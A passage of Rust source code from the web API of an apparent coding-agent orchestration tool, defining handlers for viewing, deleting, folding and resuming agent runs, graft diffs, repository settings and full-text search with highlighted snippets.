3258 kind: &'static str,
3260 id: String,
3262 href: String,
3264}
3265
3266fn encode_segment(raw: &str) -> String {
3268 let mut out = String::with_capacity(raw.len());
3269 for b in raw.bytes() {
3270 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3271 out.push(b as char);
3272 } else {
3273 out.push_str(&format!("%{b:02X}"));
3274 }
3275 }
3276 out
3277}
3278
3279fn source_link(source: &Source) -> Option<SourceLink> {
3283 let Source::Agent { run, node } = source else {
3284 return None;
3285 };
3286 let (kind, route) = if node == crate::queue::CHAT_NODE {
3287 ("chat", "chat")
3288 } else {
3289 ("run", "runs")
3290 };
3291 Some(SourceLink {
3292 kind,
3293 id: run.clone(),
3294 href: format!("#/{route}/{}", encode_segment(run)),
3295 })
3296}
3297
3298#[derive(Debug, Serialize, PartialEq)]
3300struct FollowUpParent {
3301 id: String,
3302 short: String,
3303 title: String,
3304 status: &'static str,
3306 href: String,
3307}
3308
3309#[derive(Debug, Serialize, PartialEq)]
3311struct FollowUpRun {
3312 id: String,
3313 short: String,
3314 status: Option<&'static str>,
3316 href: Option<String>,
3318}
3319
3320#[derive(Debug, Serialize, PartialEq)]
3323struct FollowUpOrigin {
3324 parent: Option<FollowUpParent>,
3326 run: FollowUpRun,
3327 pr: String,
3332 findings: Vec<String>,
3333 generation: u32,
3334}
3335
3336fn followup_origin(
3339 fu: &crate::queue::FollowUp,
3340 task: impl Fn(&str) -> Option<Task>,
3341 run: impl Fn(&str) -> Option<RunState>,
3342) -> FollowUpOrigin {
3343 let parent = fu
3344 .origin_task
3345 .as_deref()
3346 .and_then(task)
3347 .map(|t| FollowUpParent {
3348 short: t.short().to_owned(),
3349 href: format!("#/tasks/{}", encode_segment(&t.id)),
3350 status: t.status.as_str(),
3351 title: t.title,
3352 id: t.id,
3353 });
3354 let state = run(&fu.run);
3355 FollowUpOrigin {
3356 parent,
3357 run: FollowUpRun {
3358 short: run::short_of(&fu.run).to_owned(),
3359 status: state.as_ref().map(|s| s.status.as_str()),
3360 href: state
3361 .is_some()
3362 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3363 id: fu.run.clone(),
3364 },
3365 pr: fu.pr.clone(),
3366 findings: fu.findings.clone(),
3367 generation: fu.generation,
3368 }
3369}
3370
3371#[derive(Debug, Serialize)]
3373struct RunBrief {
3374 id: String,
3375 short: String,
3376 status: Option<&'static str>,
3378 outcome: String,
3380 badge: Option<String>,
3382}
3383
3384fn task_outcome(
3387 task: &Task,
3388 this_run: &str,
3389 max_attempts: usize,
3390 read: impl Fn(&str) -> Option<RunState>,
3391) -> TaskRef {
3392 let max_attempts = task.effective_attempt_limit(max_attempts);
3393 let history = task_history(task, read);
3394 let brief = |h: &TaskRunView| RunBrief {
3395 id: h.id.clone(),
3396 short: h.short.clone(),
3397 status: h.status,
3398 outcome: h.exit.edge_label(h.status),
3399 badge: h.badge.clone(),
3400 };
3401 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3402 let latest = if is_latest {
3403 None
3404 } else {
3405 history.last().map(brief)
3406 };
3407 let done = task.status == TaskStatus::Done;
3408 let finished_by = done
3409 .then(|| {
3410 history
3411 .iter()
3412 .rev()
3413 .find(|h| {
3414 matches!(
3415 h.exit,
3416 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3417 )
3418 })
3419 .map(brief)
3420 })
3421 .flatten();
3422 TaskRef {
3423 short: task.short().to_owned(),
3424 title: task.title.clone(),
3425 id: task.id.clone(),
3426 source_label: task.source.label(),
3427 source_link: source_link(&task.source),
3428 status: task.status.as_str(),
3429 attempts: task.attempts,
3430 max_attempts,
3431 is_latest,
3432 latest,
3433 closed_by_hand: done && finished_by.is_none(),
3434 finished_by,
3435 }
3436}
3437
3438#[derive(Debug, Serialize)]
3440struct LatestAttempt {
3441 id: String,
3442 short: String,
3443 resolved: bool,
3454 status: RunStatus,
3457 done: bool,
3459}
3460
3461#[derive(Debug, Default, Serialize)]
3463struct RunProseMd {
3464 advice_md: Option<AdviceMd>,
3466 candidate_summaries_md: Vec<Vec<md::Node>>,
3468 reviews_md: Vec<RoundMd>,
3470}
3471
3472#[derive(Debug, Default, Serialize)]
3473struct AdviceMd {
3474 synthesis: Vec<md::Node>,
3475 approaches: Vec<Vec<md::Node>>,
3477}
3478
3479#[derive(Debug, Default, Serialize)]
3480struct RoundMd {
3481 reviewers: Vec<ReviewerMd>,
3483 reconsideration: Vec<Vec<md::Node>>,
3485 fix: Option<FixMd>,
3486}
3487
3488#[derive(Debug, Default, Serialize)]
3489struct ReviewerMd {
3490 summary: Vec<md::Node>,
3491 findings: Vec<Vec<md::Node>>,
3493}
3494
3495#[derive(Debug, Default, Serialize)]
3496struct FixMd {
3497 notes: Vec<md::Node>,
3498 rejected: Vec<Vec<md::Node>>,
3500}
3501
3502fn run_prose_md(state: &RunState) -> RunProseMd {
3504 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3505 RunProseMd {
3506 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3507 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3508 approaches: a
3509 .records
3510 .iter()
3511 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3512 .collect(),
3513 }),
3514 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3515 reviews_md: state
3516 .reviews
3517 .iter()
3518 .map(|round| RoundMd {
3519 reviewers: round
3520 .reviews
3521 .iter()
3522 .map(|rec| ReviewerMd {
3523 summary: nodes(&rec.summary),
3524 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3525 })
3526 .collect(),
3527 reconsideration: round
3528 .reconsideration
3529 .iter()
3530 .map(|rv| nodes(&rv.reason))
3531 .collect(),
3532 fix: round.fix.as_ref().map(|fix| FixMd {
3533 notes: nodes(&fix.notes),
3534 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3535 }),
3536 })
3537 .collect(),
3538 }
3539}
3540
3541impl RunDetailView {
3542 fn of(
3543 state: RunState,
3544 waiting: bool,
3545 live: crate::run::Liveness,
3546 superseded_by: Option<String>,
3547 latest_attempt: Option<LatestAttempt>,
3548 task: Option<TaskRef>,
3549 ) -> Self {
3550 let display_status = run_display_status(&state, waiting, live);
3551 let stop_reason = crate::stop_reason::of(
3552 &state,
3553 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3554 );
3555 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3556 Self {
3557 stop_reason,
3558 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3559 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3560 prose_md: run_prose_md(&state),
3561 origin_label: crate::run::origin_label(state.origin.as_ref()),
3562 live,
3563 unmerged_by_design: state.unmerged_by_design(),
3564 waiting,
3565 display_status,
3566 badge_status,
3567 done: state.status.done(),
3568 superseded_by,
3569 latest_attempt,
3570 task,
3571 state,
3572 }
3573 }
3574}
3575
3576async fn run_detail(
3577 State(ui): State<Arc<Ui>>,
3578 Path(id): Path<String>,
3579) -> ApiResult<Json<RunDetailView>> {
3580 blocking(move || {
3581 let id = resolve_run(&ui.runs, &id)?;
3582 let state = read_run(&ui.runs, &id)?;
3583 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3584 let live = state.liveness(daemon_claims);
3585 let waiting = !ui.questions.open_for(&id).is_empty();
3586 let superseded_by = state
3587 .pr_taken_over_by
3588 .clone()
3589 .or_else(|| ui.queue.superseded_by(&id))
3590 .as_deref()
3591 .map(crate::run::short_of)
3592 .map(str::to_owned);
3593 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3597 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3598 short: head.short().to_owned(),
3599 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3600 status: head.status,
3601 done: head.status.done(),
3602 id: head.id,
3603 })
3604 });
3605 let max_attempts = daemon::Opts::default().max_attempts;
3606 let task = ui
3607 .queue
3608 .list()
3609 .into_iter()
3610 .find(|t| t.runs.contains(&id))
3611 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3612 Ok(Json(RunDetailView::of(
3613 state,
3614 waiting,
3615 live,
3616 superseded_by,
3617 latest_attempt,
3618 task,
3619 )))
3620 })
3621 .await
3622}
3623
3624async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3633 let (id, unreadable) = {
3634 let ui = Arc::clone(&ui);
3635 blocking(move || {
3636 let id = resolve_run(&ui.runs, &id)?;
3637 match read_run(&ui.runs, &id) {
3638 Ok(state) => {
3639 let in_flight =
3640 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3641 state
3642 .ensure_can_delete(in_flight)
3643 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3644 let dir = ui.runs.join(&id);
3645 std::fs::remove_dir_all(&dir)
3646 .with_context(|| format!("remove run directory {}", dir.display()))?;
3647 Ok((id, false))
3648 }
3649 Err(_) => {
3650 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3654 return Err(ApiError::conflict(format!(
3655 "run {id} is being worked on by a live daemon right now"
3656 )));
3657 }
3658 Ok((id, true))
3659 }
3660 }
3661 })
3662 .await?
3663 };
3664 if unreadable {
3665 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3666 .await
3667 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3668 }
3669 let ui = Arc::clone(&ui);
3670 let done = id.clone();
3671 blocking(move || {
3672 ui.questions.abandon_for_run(
3675 &done,
3676 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3677 )?;
3678 Ok(())
3679 })
3680 .await?;
3681 Ok(StatusCode::NO_CONTENT)
3682}
3683
3684async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3708 let (id, state) = {
3709 let ui = Arc::clone(&ui);
3710 blocking(move || {
3711 let id = resolve_run(&ui.runs, &id)?;
3712 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3713 return Err(ApiError::conflict(format!(
3714 "run {id} is being worked on by a live daemon right now"
3715 )));
3716 }
3717 let state = read_run(&ui.runs, &id).ok();
3718 Ok((id, state))
3719 })
3720 .await?
3721 };
3722 let removed = match state {
3723 Some(mut state) => {
3724 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3725 .await
3726 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3727 if removed.is_empty() {
3732 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3733 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3734 }
3735 removed
3736 }
3737 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3738 .await
3739 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3740 };
3741 Ok(Json(FoldView {
3742 run: id,
3743 removed_count: removed.len(),
3744 removed,
3745 }))
3746}
3747
3748#[derive(Debug, Serialize)]
3750struct FoldView {
3751 run: String,
3752 removed: Vec<String>,
3754 removed_count: usize,
3755}
3756
3757#[derive(Debug, Deserialize)]
3760struct FoldMergedBody {
3761 #[serde(default)]
3762 pr_url: String,
3763}
3764
3765async fn run_fold_merged(
3785 State(ui): State<Arc<Ui>>,
3786 Path(id): Path<String>,
3787 Json(body): Json<FoldMergedBody>,
3788) -> ApiResult<Json<FoldMergedView>> {
3789 let pr_url = body.pr_url.trim().to_owned();
3790 if pr_url.is_empty() {
3791 return Err(ApiError::bad_request("pr_url is required"));
3792 }
3793 let (id, mut state) = {
3794 let ui = Arc::clone(&ui);
3795 blocking(move || {
3796 let id = resolve_run(&ui.runs, &id)?;
3797 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3798 return Err(ApiError::conflict(format!(
3799 "run {id} is being worked on by a live daemon right now"
3800 )));
3801 }
3802 let state = read_run(&ui.runs, &id)?;
3803 Ok((id, state))
3804 })
3805 .await?
3806 };
3807 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3808 .await
3809 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3810 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3811 .await
3812 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3813 Ok(Json(FoldMergedView {
3814 run: id,
3815 before: before.as_str().to_owned(),
3816 after: after.as_str().to_owned(),
3817 removed,
3818 }))
3819}
3820
3821#[derive(Debug, Serialize)]
3823struct FoldMergedView {
3824 run: String,
3825 before: String,
3827 after: String,
3829 removed: Vec<String>,
3831}
3832
3833async fn run_resume(
3853 State(ui): State<Arc<Ui>>,
3854 Path(id): Path<String>,
3855) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3856 let (id, state) = {
3857 let ui = Arc::clone(&ui);
3858 blocking(move || {
3859 let id = resolve_run(&ui.runs, &id)?;
3860 let state = read_run(&ui.runs, &id)?;
3861 Ok((id, state))
3862 })
3863 .await?
3864 };
3865 if let Some(to) = state
3866 .pr_taken_over_by
3867 .as_ref()
3868 .or(state.released_to.as_ref())
3869 {
3870 return Err(ApiError::conflict(format!(
3871 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3872 state.short(),
3873 crate::run::short_of(to)
3874 )));
3875 }
3876 if !state.status.resumable() {
3877 return Err(ApiError::conflict(format!(
3878 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3879 state.short(),
3880 status_word(state.status)
3881 )));
3882 }
3883 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3888 .into_iter()
3889 .next()
3890 {
3891 return Err(ApiError::conflict(format!(
3892 "the loop is running run {} right now; stop it first, or wait for \
3893 it to finish, before resuming a run by hand.",
3894 crate::run::short_of(&work.run)
3895 )));
3896 }
3897 let _resume = ui.begin_resume(&id)?;
3898
3899 let queued = RunSummary::of(
3902 &state,
3903 !ui.questions.open_for(&id).is_empty(),
3904 state.liveness(false),
3905 );
3906 let run = id.clone();
3907 tokio::spawn(async move {
3908 let _resume = _resume;
3909 match crate::graph::Runner::resume(&run) {
3910 Ok(mut runner) => {
3911 if let Err(e) = runner.execute().await {
3912 tracing::warn!("resume of run {run} stopped: {e:#}");
3913 }
3914 }
3915 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3918 }
3919 });
3920 Ok((StatusCode::ACCEPTED, Json(queued)))
3921}
3922
3923async fn run_report(
3924 State(ui): State<Arc<Ui>>,
3925 Path(id): Path<String>,
3926) -> ApiResult<impl IntoResponse> {
3927 let text = blocking(move || {
3928 let id = resolve_run(&ui.runs, &id)?;
3929 let state = read_run(&ui.runs, &id)?;
3933 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3934 let live = state.liveness(daemon_claims);
3935 Ok(format!(
3936 "{}{}",
3937 report::run(&state),
3938 report::active_seats(&state, live)
3939 ))
3940 })
3941 .await?;
3942 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3943}
3944
3945async fn run_report_json(
3949 State(ui): State<Arc<Ui>>,
3950 Path(id): Path<String>,
3951) -> ApiResult<Json<crate::report_view::RunReportView>> {
3952 let view = blocking(move || {
3953 let id = resolve_run(&ui.runs, &id)?;
3954 let state = read_run(&ui.runs, &id)?;
3955 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3956 let recovered = state.graft.as_ref().map(|_| {
3958 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3959 });
3960 Ok(crate::report_view::build_with(
3961 &state,
3962 state.liveness(daemon_claims),
3963 recovered.as_ref(),
3964 ))
3965 })
3966 .await?;
3967 Ok(Json(view))
3968}
3969
3970const GRAFT_DIFF_MAX: usize = 400 * 1024;
3972const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3974
3975async fn run_graft_diff(
3978 State(ui): State<Arc<Ui>>,
3979 Path(id): Path<String>,
3980) -> ApiResult<impl IntoResponse> {
3981 let (repo, pre, post) = blocking(move || {
3982 let id = resolve_run(&ui.runs, &id)?;
3983 let state = read_run(&ui.runs, &id)?;
3984 let g = state
3985 .graft
3986 .as_ref()
3987 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3988 let post = g
3989 .post
3990 .clone()
3991 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3992 Ok((state.repo.clone(), g.pre.clone(), post))
3993 })
3994 .await?;
3995 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3996 if !hex(&pre) || !hex(&post) {
3997 return Err(ApiError::not_found("the recorded commits are not valid"));
3998 }
3999 let out = tokio::time::timeout(
4000 GRAFT_DIFF_TIMEOUT,
4001 crate::git::git_raw(
4002 &repo,
4003 &[
4004 "diff",
4005 "--no-color",
4006 "--no-ext-diff",
4007 "-M",
4008 &pre,
4009 &post,
4010 "--",
4011 ],
4012 ),
4013 )
4014 .await
4015 .map_err(|_| ApiError::not_found("git diff timed out"))?
4016 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4017 if out.code != Some(0) {
4018 return Err(ApiError::not_found(
4019 "the recorded commits are no longer in the repository",
4020 ));
4021 }
4022 let mut body = out.stdout;
4023 if body.len() > GRAFT_DIFF_MAX {
4024 let mut cut = GRAFT_DIFF_MAX;
4025 while !body.is_char_boundary(cut) {
4026 cut -= 1;
4027 }
4028 body.truncate(cut);
4029 body.push_str("\n... diff truncated ...");
4030 }
4031 Ok((
4032 [
4033 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4034 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4035 ],
4036 body,
4037 ))
4038}
4039
4040#[derive(Debug, Serialize)]
4046struct TaskView {
4047 #[serde(flatten)]
4048 task: Task,
4049 source_label: String,
4050 source_link: Option<SourceLink>,
4051 status_str: &'static str,
4052 instruction_md: Vec<md::Node>,
4056 waits_on: Vec<String>,
4060 stuck_roots: Vec<String>,
4063}
4064
4065impl From<Task> for TaskView {
4066 fn from(task: Task) -> Self {
4067 Self {
4068 source_label: task.source.label(),
4069 source_link: source_link(&task.source),
4070 status_str: task.status.as_str(),
4071 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4072 waits_on: Vec::new(),
4073 stuck_roots: Vec::new(),
4074 task,
4075 }
4076 }
4077}
4078
4079impl TaskView {
4080 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4081 let waits_on = inv.waits_on(&task);
4082 let stuck_roots = inv
4083 .stuck_roots(&task)
4084 .iter()
4085 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4086 .collect();
4087 Self {
4088 waits_on,
4089 stuck_roots,
4090 ..Self::from(task)
4091 }
4092 }
4093}
4094
4095#[derive(Debug, Default, Deserialize)]
4098#[serde(default)]
4099struct ReposQuery {
4100 refresh: u8,
4101}
4102
4103async fn repos_list(
4110 State(ui): State<Arc<Ui>>,
4111 Query(q): Query<ReposQuery>,
4112) -> ApiResult<Json<Vec<repos::Repo>>> {
4113 let refresh = q.refresh != 0;
4114 blocking(move || {
4115 let (cfg, _) = Config::discover(&ui.repo, None)?;
4116 Ok(Json(ui.repos_cache.list(
4117 &cfg.repos.roots,
4118 Duration::from_secs(cfg.repos.scan_ttl),
4119 refresh,
4120 )))
4121 })
4122 .await
4123}
4124
4125#[derive(Debug, Default, Deserialize)]
4127struct SettingsQuery {
4128 repo: Option<PathBuf>,
4129}
4130
4131fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4135 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4136 let paths: Vec<PathBuf> = ui
4137 .machine_config
4138 .iter()
4139 .filter(|p| p.is_file())
4140 .cloned()
4141 .collect();
4142 if paths.is_empty() {
4143 Ok(Config::autodetected())
4144 } else {
4145 Config::load_layers(&paths)
4146 }
4147 });
4148 let mut known = cfg
4149 .map(|cfg| {
4150 ui.repos_cache.list(
4151 &cfg.repos.roots,
4152 Duration::from_secs(cfg.repos.scan_ttl),
4153 refresh,
4154 )
4155 })
4156 .unwrap_or_default();
4157 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4158 if !known.iter().any(|r| r.path == path) {
4159 known.push(repos::Repo {
4160 name: path
4161 .file_name()
4162 .unwrap_or_default()
4163 .to_string_lossy()
4164 .into_owned(),
4165 path,
4166 });
4167 }
4168 known
4169}
4170
4171fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4172 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4173 let canonical = requested.canonicalize().ok();
4174 let mut known = settings_repositories(ui, false);
4175 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4176 if !known.iter().any(matches) {
4177 known = settings_repositories(ui, true);
4178 }
4179 let repo = known
4180 .iter()
4181 .find(|r| matches(r))
4182 .map(|r| r.path.clone())
4183 .ok_or_else(|| ApiError {
4184 text_reason: None,
4185 status: StatusCode::UNPROCESSABLE_ENTITY,
4186 message: "Choose a known repository from the Settings selector.".to_owned(),
4187 })?;
4188 Ok((repo, known))
4189}
4190
4191async fn settings_get(
4195 State(ui): State<Arc<Ui>>,
4196 Query(q): Query<SettingsQuery>,
4197) -> ApiResult<Json<settings::SettingsView>> {
4198 blocking(move || {
4199 let (repo, known) = settings_context(&ui, q)?;
4200 Ok(Json(settings::view_with_repos(
4201 &repo,
4202 ui.machine_config.as_deref(),
4203 &known,
4204 )))
4205 })
4206 .await
4207}
4208
4209#[derive(Debug, Deserialize)]
4211#[serde(deny_unknown_fields)]
4212struct RolesBody {
4213 revision: String,
4215 #[serde(default)]
4217 roles: std::collections::BTreeMap<String, Vec<String>>,
4218 #[serde(default)]
4222 counts: std::collections::BTreeMap<String, serde_json::Value>,
4223}
4224
4225async fn settings_put_roles(
4231 State(ui): State<Arc<Ui>>,
4232 Query(q): Query<SettingsQuery>,
4233 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4234) -> ApiResult<Json<settings::SettingsView>> {
4235 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4236 blocking(move || {
4237 let (repo, known) = settings_context(&ui, q)?;
4238 settings::save_with_repos(
4239 &repo,
4240 ui.machine_config.as_deref(),
4241 &body.revision,
4242 &body.roles,
4243 &body.counts,
4244 &known,
4245 )
4246 .map(Json)
4247 .map_err(|e| match e {
4248 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4249 settings::SaveError::Refused(m) => ApiError {
4250 text_reason: None,
4251 status: StatusCode::UNPROCESSABLE_ENTITY,
4252 message: m,
4253 },
4254 settings::SaveError::Internal(m) => ApiError::internal(m),
4255 })
4256 })
4257 .await
4258}
4259
4260async fn queue_list(
4261 State(ui): State<Arc<Ui>>,
4262 Query(q): Query<ListQuery>,
4263) -> ApiResult<Json<Vec<TaskView>>> {
4264 blocking(move || {
4265 let tasks = ui.queue.list();
4266 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4267 Ok(Json(
4268 tasks
4269 .into_iter()
4270 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4271 .map(|t| TaskView::with_inventory(t, &inv))
4272 .collect(),
4273 ))
4274 })
4275 .await
4276}
4277
4278const SEARCH_MAX_HITS: usize = 100;
4280const SEARCH_MAX_QUERY: usize = 200;
4282const SEARCH_MAX_TERMS: usize = 8;
4283const SNIPPET_BEFORE: usize = 50;
4285const SNIPPET_AFTER: usize = 110;
4286
4287#[derive(Debug, Deserialize)]
4289struct SearchQuery {
4290 #[serde(default)]
4291 scope: String,
4292 #[serde(default)]
4293 q: String,
4294}
4295
4296#[derive(Debug, Serialize, PartialEq, Eq)]
4299struct SnippetPart {
4300 text: String,
4301 hit: bool,
4302}
4303
4304#[derive(Debug, Serialize)]
4305struct SearchHit {
4306 id: String,
4307 field: String,
4309 snippet: Vec<SnippetPart>,
4310 #[serde(skip_serializing_if = "Option::is_none")]
4314 run: Option<RunSummary>,
4315}
4316
4317#[derive(Debug, Serialize)]
4318struct SearchView {
4319 scope: String,
4320 q: String,
4321 hits: Vec<SearchHit>,
4323 total: usize,
4325 truncated: bool,
4326 unreadable: usize,
4329}
4330
4331fn text_leaves<'a>(
4334 value: &'a serde_json::Value,
4335 field: &'a str,
4336 out: &mut Vec<(&'a str, &'a str)>,
4337) {
4338 match value {
4339 serde_json::Value::String(s) => out.push((field, s)),
4340 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4341 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4342 _ => {}
4343 }
4344}
4345
4346fn fold_char(c: char) -> char {
4349 c.to_lowercase().next().unwrap_or(c)
4350}
4351
4352fn search_terms(q: &str) -> Vec<String> {
4354 let mut terms: Vec<String> = Vec::new();
4355 for t in q.split_whitespace() {
4356 let t = t.to_lowercase();
4357 if !terms.contains(&t) {
4358 terms.push(t);
4359 }
4360 }
4361 terms
4362}
4363
4364fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4367 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4368 let mut first: Option<usize> = None;
4369 for term in terms {
4370 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4371 first = Some(first.map_or(at, |f| f.min(at)));
4372 }
4373 let (field, text) = leaves[first?];
4375 Some(SearchHit {
4376 id: String::new(),
4377 field: field.to_owned(),
4378 snippet: snippet_of(text, terms),
4379 run: None,
4380 })
4381}
4382
4383fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4386 let chars: Vec<char> = text.chars().collect();
4387 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4388 let needles: Vec<Vec<char>> = terms
4389 .iter()
4390 .map(|t| t.chars().map(fold_char).collect())
4391 .collect();
4392 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4393 let mut best: Option<(usize, usize)> = None;
4394 for n in needles.iter().filter(|n| !n.is_empty()) {
4395 if n.len() > chars.len() || to == 0 {
4399 continue;
4400 }
4401 let last = (to - 1).min(chars.len() - n.len());
4402 if from > last {
4403 continue;
4404 }
4405 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4406 && best.is_none_or(|(b, _)| i < b)
4407 {
4408 best = Some((i, i + n.len()));
4409 }
4410 }
4411 best
4412 };
4413 let Some((start, _)) = find(0, chars.len()) else {
4414 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4416 return vec![SnippetPart {
4417 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4418 hit: false,
4419 }];
4420 };
4421 let lo = start.saturating_sub(SNIPPET_BEFORE);
4422 let hi = (start + SNIPPET_AFTER).min(chars.len());
4423 let mut parts: Vec<SnippetPart> = Vec::new();
4424 let mut push = |s: &[char], hit: bool| {
4425 if s.is_empty() {
4426 return;
4427 }
4428 let text: String = s.iter().collect();
4429 match parts.last_mut() {
4430 Some(p) if p.hit == hit => p.text.push_str(&text),
4431 _ => parts.push(SnippetPart { text, hit }),
4432 }
4433 };
4434 if lo > 0 {
4435 push(&['\u{2026}'], false);
4436 }
4437 let mut at = lo;
4438 while at < hi {
4439 match find(at, hi) {
4440 Some((s, e)) => {
4441 push(&chars[at..s], false);
4442 let shown = e.min(hi);
4444 push(&chars[s..shown], true);
4445 at = shown;
4446 }
4447 None => {
4448 push(&chars[at..hi], false);
4449 at = hi;
4450 }
4451 }
4452 }
4453 if hi < chars.len() {
4454 push(&['\u{2026}'], false);
4455 }
4456 let mut prev_space = false;
4459 for p in &mut parts {
4460 let mut out = String::with_capacity(p.text.len());
4461 for c in p.text.chars() {
4462 if c.is_whitespace() {
4463 if !prev_space {
4464 out.push(' ');
4465 }
4466 prev_space = true;
4467 } else {
4468 out.push(c);
4469 prev_space = false;
4470 }
4471 }
4472 p.text = out;
4473 }
4474 parts.retain(|p| !p.text.is_empty());
4475 parts
4476}
4477
4478fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4480where
4481 I: IntoIterator<Item = (String, serde_json::Value)>,
4482{
4483 for (id, doc) in docs {
4484 let mut leaves = Vec::new();
4485 leaves.push(("id", id.as_str()));
4488 text_leaves(&doc, "", &mut leaves);
4489 if let Some(mut hit) = search_document(terms, &leaves) {
4490 view.total += 1;
4491 if view.hits.len() < SEARCH_MAX_HITS {
4492 hit.id = id;
4493 view.hits.push(hit);
4494 }
4495 }
4496 }
4497 view.truncated = view.total > view.hits.len();
4498}
4499
4500fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4507 let opener = talk
4508 .turns
4509 .iter()
4510 .find(|t| t.who == crate::talk::Who::Operator)
4511 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4512 .unwrap_or("");
4513 let title: String = if opener.chars().count() > 96 {
4514 opener.chars().take(95).chain(['\u{2026}']).collect()
4515 } else {
4516 opener.to_owned()
4517 };
4518 let turns: Vec<serde_json::Value> = talk
4519 .turns
4520 .iter()
4521 .map(|t| {
4522 let who = match t.who {
4523 crate::talk::Who::Operator => "operator",
4524 crate::talk::Who::Agent => "agent",
4525 };
4526 serde_json::json!({ who: t.body })
4527 })
4528 .collect();
4529 serde_json::json!({ "title": title, "turns": turns })
4530}
4531
4532async fn search_get(
4539 State(ui): State<Arc<Ui>>,
4540 Query(q): Query<SearchQuery>,
4541) -> ApiResult<Json<SearchView>> {
